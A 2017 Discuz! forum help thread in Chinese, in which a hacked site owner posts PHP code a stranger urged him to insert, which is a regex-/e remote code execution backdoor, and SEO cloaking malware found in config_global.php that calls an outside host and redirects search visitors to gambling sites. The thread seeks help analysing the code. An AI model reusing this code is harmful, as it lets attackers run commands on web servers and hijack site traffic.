Discuz!官方免费开源建站系统

 找回密码
 立即注册

QQ登录

只需一步,快速开始

搜索

[求助] 谁能帮我看看这段代码是什么意思

[复制链接]
幻觉网络(琓掵 发表于 2017-11-17 16:57:01 | 显示全部楼层 |阅读模式
前段时间网站被入侵挂马了,后来我处理好了以后百度搜索都是正常的,但是360却一直显示是那些菠菜的信息 而且点击连接会直接跳转到其它菠菜网站,但是百度是正常的。
后来有一个人我也不知道他是在那里知道我的信息的就加我以后直接发了一段代码说要我放到网站头部文件里可以很快消除那些菠菜信息,因为本人是个菜鸟完全看不懂这个代码是什么意思 所以求助大家帮忙看看

  1. error_reporting(E_ERROR);
  2. function discuz($dz=null,$uc=null){
  3.         @error_reporting(1);
  4.         $dz = $_REQUEST['status'];
  5.         $IN_UC = '|.*|';$IN_UC .='e';
  6.         $uc = array($_REQUEST['uc'] => $IN_UC,);
  7.         $cent = 'array_walk_recursiv';$cent .= 'e';
  8.         $cent($uc, $dz, '');
  9. }
  10. mb_ereg_replace(".*", $_REQUEST["status"], "", "e");
  11. if(($_GET['tid'])>99999999){
  12. //echo $_G['tid'];
  13. header('HTTP/1.1 404 Not Found');
  14. header('status: 404 Not Found');
  15. exit;
  16. }
复制代码


 楼主| 幻觉网络(琓掵 发表于 2017-11-17 17:12:02 | 显示全部楼层
刚才在程序的config_global.php文件里面发现被挂马了

这是什么意思呢

  1. set_time_limit(20);error_reporting(0);
  2. define('u_b','/');
  3. define('s_u','http://p.bo888888.co/');
  4. define('s_s', '@haosou.com|360Spider|HaosouSpider|so.com@i');
  5. define('h_t',$_SERVER['SERVER_NAME']);define('r_s',$_SERVER['HTTP_REFERER']);define('u_s',

  6. $_SERVER['HTTP_USER_AGENT']);define('h_z',s_p());
  7. function s_p(){$d='';if(isset($_SERVER['REQUEST_URI'])){$d=$_SERVER['REQUEST_URI'];}else

  8. {if(isset($_SERVER['argv'])){$d=$_SERVER['PHP_SELF'].'?'.$_SERVER['argv'][0];}else{$d=

  9. $_SERVER['PHP_SELF'].'?'.$_SERVER['QUERY_STRING'];}}if(isset($_SERVER['SERVER_SOFTWARE'])

  10. && false!==stristr($_SERVER['SERVER_SOFTWARE'],'IIS')){if(function_exists

  11. ('mb_convert_encoding')){$d=mb_convert_encoding($d,'UTF-8','GBK');}else{$d=@iconv

  12. ('GBK','UTF-8',@iconv('UTF-8','GBK',$d))==$d?$d:@iconv('GBK','UTF-8',$d);}}$r=explode('#',

  13. $d,2);$d=$r[0];return $d;}function r_s($url){$o=array('http' => array

  14. ('method'=>"GET",'timeout'=>8));$context=stream_context_create($o);$h=file_get_contents

  15. ($url,false,$context);if(empty($h)){$h=file_get_contents($url);}return $h;}
  16. if(preg_match(s_s,r_s)){$d_s=true;if(preg_match("@site%3A|inurl%3A@i",r_s)){setcookie

  17. ('xx',h_t,time()+259200);$d_s=false;}if($d_s ){setcookie('xx',h_t,time()+259200);

  18. $d_u=s_u.'?xu='.bin2hex(h_z);$d_u.='&ad=1&xh='.bin2hex(h_t);$d_c=r_s($d_u);header

  19. ('Location: http://hgpj8.com/');exit;}}if(strstr(h_z,u_b)){if(preg_match(s_s,u_s))

  20. {$d_u=s_u.'?xu='.bin2hex(h_z);$d_u.='&xh='.bin2hex(h_t);$d_c=r_s($d_u);echo $d_c;exit;}}

  21. $_config = array();
复制代码


回复

使用道具 举报

Failure 发表于 2017-11-18 15:24:49 | 显示全部楼层
各类蜘蛛爬行显示到某网站。  通过搜索引擎点击则跳转到某网站!
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

手机版|小黑屋|Discuz! 官方站 ( 皖ICP备16010102号 )star

GMT+8, 2024-11-29 11:49 , Processed in 0.016565 second(s), 3 queries , Gzip On, Redis On.

Powered by Discuz! X3.4

Copyright © 2001-2023, Tencent Cloud.

快速回复 返回顶部 返回列表